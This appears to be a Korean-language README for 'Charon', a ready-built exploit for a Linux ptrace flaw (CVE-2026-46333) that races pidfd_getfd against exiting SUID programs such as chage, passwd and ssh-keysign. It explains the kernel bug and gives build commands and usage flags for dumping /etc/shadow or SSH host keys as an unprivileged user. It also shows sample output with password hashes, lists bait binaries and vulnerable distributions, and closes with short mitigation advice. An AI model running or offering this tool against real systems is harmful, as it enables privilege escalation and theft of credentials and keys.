
CHARON — pre-built PoC for CVE-2026-46333 (Linux ptrace mm==NULL fd theft)
____ _ _ _ ____ ___ _ _
/ ___|| | | | / \ | _ \ / _ \| \ | |
| | | |_| | / _ \ | |_) | | | | \| |
| |___ | _ |/ ___ \| _ <| |_| | |\ |
\____||_| |_/_/ \_\_| \_\\___/|_| \_|
페리를 타고 exit-mm()의 스틱스 강을 건너다
CVE-2026-46333 / Linux <= 6.12.89
"살아 계신 하나님의 손에 빠지는 것은 두려운 일입니다." — 히브리서 10:31
CVE-2026-46333에 대한 작고 의존성 없는 PoC입니다.
__ptrace_may_access의 mm==NULL 우회는 2026년 5월 15일에 Qualys가 공개했습니다. Charon은 죽어가는 SUID-root 프로세스에 대해 pidfd_getfd(2)를 경쟁 조건으로 사용하여, do_exit()의 짧은 mm-NULL 윈도우를 통해 열린 /etc/shadow 파일 디스크립터를 획득합니다. 영향을 받는 시스템에서 권한 없는 사용자로 실행하면 /etc/shadow를 stdout으로 출력합니다.
$ ./charon
[banner on stderr]
[*] lure /usr/bin/chage target /etc/shadow
root:$y$j9T$ztS5H...$hz9W87TlqxEW...:...
daemon:*:20582:0:99999:7:::
bin:*:20582:0:99999:7:::
...
일반적인 성공률: 4코어 VM에서 1초 미만, 스모크 테스트에서 약 137회 시도.
__ptrace_may_access()는 task->mm == NULL일 때 덤프 가능성 검사를 생략합니다. 이 빠른 경로는 커널 스레드(swapper 등)를 위해 작성되었으며, 이들은 합법적으로 mm이 없어야 하고 ptrace되어서는 안 됩니다. 그러나 do_exit()은 exit_files() 전에 exit_mm()을 실행하므로, 사용자 공간의 SUID 프로세스가 잠시 다음과 같은 상태가 됩니다:
task->mm == NULL (mm이 회수됨) → 덤프 가능 검사 건너뜀setreuid() 이후의 드롭을 반영 → 접근 검사 통과pidfd_getfd(2)는 그 접근 검사를 신뢰하고 공격자에게 SUID 프로세스의 열린 파일 디스크립터를 넘겨줍니다.
do_exit()
├── exit_mm() ← task->mm = NULL
├── ... ← __ptrace_may_access()는 이제 거짓말
└── exit_files() ← fd 테이블 회수
Jann Horn은 2020년 10월 lore.kernel.org에서 FD 도난 형태를 지적했습니다. 수정 사항은 약 6년 동안 메인테이너 검토에 머물렀으며, Qualys가 다시 대기열 앞으로 가져왔습니다.
업스트림 수정: 31e62c2ebbfd
(Linus 2026-05-14). 2026-05-15 기준으로 백포트는 linux-6.12.y 또는 linux-6.6.y 안정 브랜치에 도착하지 않았습니다.
| 안정 트리 | 상태 |
|---|---|
| linux-6.12.y (≤ 6.12.89) | ❌ 취약 |
| linux-6.6.y (수정 전 백포트) | ❌ 취약 |
| mainline ≥ 6.15-rc1 | ✅ 패치됨 (31e62c2ebbfd) |
백포트가 도착하면 PR/롤링 상태 테이블이 업데이트됩니다.
# 작은 38 KB 정적 바이너리 (권장)
sudo apt-get install musl-tools
make static
# 또는 일반 glibc 빌드
make
출력: 단일 ELF 파일 ./charon.
./charon # /etc/shadow 덤프 (기본)
./charon -q # 배너/진행 없이 shadow만 stdout 출력
./charon -v # 시도별 + 최종 통계 출력
./charon -r 5000 # 느린 시스템을 위한 더 많은 인내심
./charon -t /etc/ssh/ssh_host_ecdsa_key # 다른 대상 (ssh-keysign 미끼 사용)
./charon -a # 내장 미끼가 실패할 경우 SUID/SGID 미끼 자동 탐색
./charon -L # 시도 없이 후보 미끼 목록만 표시
./charon --help
--auto는 /usr/bin, /usr/sbin, /usr/local/{bin,sbin}, /usr/lib/openssh, /usr/libexec, /bin, /sbin을 탐색하며, 모든 SUID/SGID 일반 파일(su, sudo, newgrp, pkexec와 같은 대화형 미끼 제외)을 찾아 요청된 대상에 대해 각각을 미끼로 시도합니다. 미끼당 예산은 빡빡합니다(5 라운드 × 2000 내부) 따라서 일치하는 미끼가 없더라도 전체 스캔은 약 10초 안에 완료됩니다.
--list-baits는 읽기 전용 버전으로, 익스플로잇을 실행하지 않고 동일한 후보를 열거합니다. 어떤 배포판이 어떤 미끼를 제공하는지 조사하는 데 유용합니다.
| 코드 | 의미 |
|---|---|
| 0 | 성공 — 파일 내용이 stdout으로 출력됨 |
Charon은 네 가지 알려진 SUID 미끼를 함께 제공합니다:
미끼를 추가하는 것은 charon.c의 lures[] 배열에 3줄을 수정하는 것만으로 가능합니다.
31e62c2ebbfd를 직접 적용하십시오.pidfd_getfd(2)를 비활성화하십시오.chage와 passwd의 setuid 비트를 제거하십시오.no_new_privs를 활성화하면 기본 요소가 완전히 차단됩니다. 컨테이너 내부의 모든 "SUID"가 무효화되어 Charon이 먹잇감을 찾지 못합니다.Google kernelctf VRP 챌린지 VM은 플레이어의 bash를 clone_newuser:true (uid 0 매핑 해제), chroot:/chroot, no_new_privs:1이 있는 nsjail 샌드박스 내에서 실행합니다. no_new_privs 아래에서는 setuid 비트가 무효화되므로 샌드박스 내에 실제 SUID 먹잇감이 없으며, /flag는 chroot 외부의 호스트에 있습니다. 따라서 Charon은 kCTF VRP에서 이길 수 없습니다. 이는 베어메탈 Debian / Ubuntu / RHEL 계열 설치에서 합법적인 Linux LPE로 남아 있습니다.
교육 및 승인된 방어 목적으로만 사용하십시오.
⛵ STYX ⛵
╔══════════════════════════════╗
║ do_exit(): ║
║ ├── exit_mm() ← task->mm ║
║ │ = NULL ║
║ ├── ... ← ferry ║
║ └── exit_files() ║
╚══════════════════════════════╝
| 배포판 |
|---|
| 커널 |
|---|
| 상태 (2026-05-15) |
|---|
| Debian trixie | 6.12.86+deb13 | ❌ |
| AlmaLinux 10.1 | 6.12.0-124.55.3 | ❌ |
| Ubuntu 26.04 | 7.0.0-15 | ⚠️ 확인 필요 |
| Fedora 44 | 7.0.4-200 | ⚠️ 확인 필요 |
| 1 | 이 시스템에서 요청된 파일을 여는 SUID 미끼가 없음 |
| 2 | 커널이 패치된 것으로 보임 (CVE-2026-46333이 닫힘) |
| 3 | 시도 횟수 소진 (드물게 발생; -r 5000 시도) |
| 4 | CLI / IO 오류 |
| 바이너리 | 여는 파일 | 배포판 범위 |
|---|
/usr/bin/chage (chage -l <user>) | /etc/shadow | 대부분 Debian, Ubuntu, Fedora |
/usr/sbin/chage | /etc/shadow | RHEL / Rocky / Alma 계열 |
/usr/bin/passwd (passwd -S <user>) | /etc/shadow | 대부분 배포판 |
/usr/lib/openssh/ssh-keysign | /etc/ssh/ssh_host_*_key | HostbasedAuthentication이 활성화된 배포판 |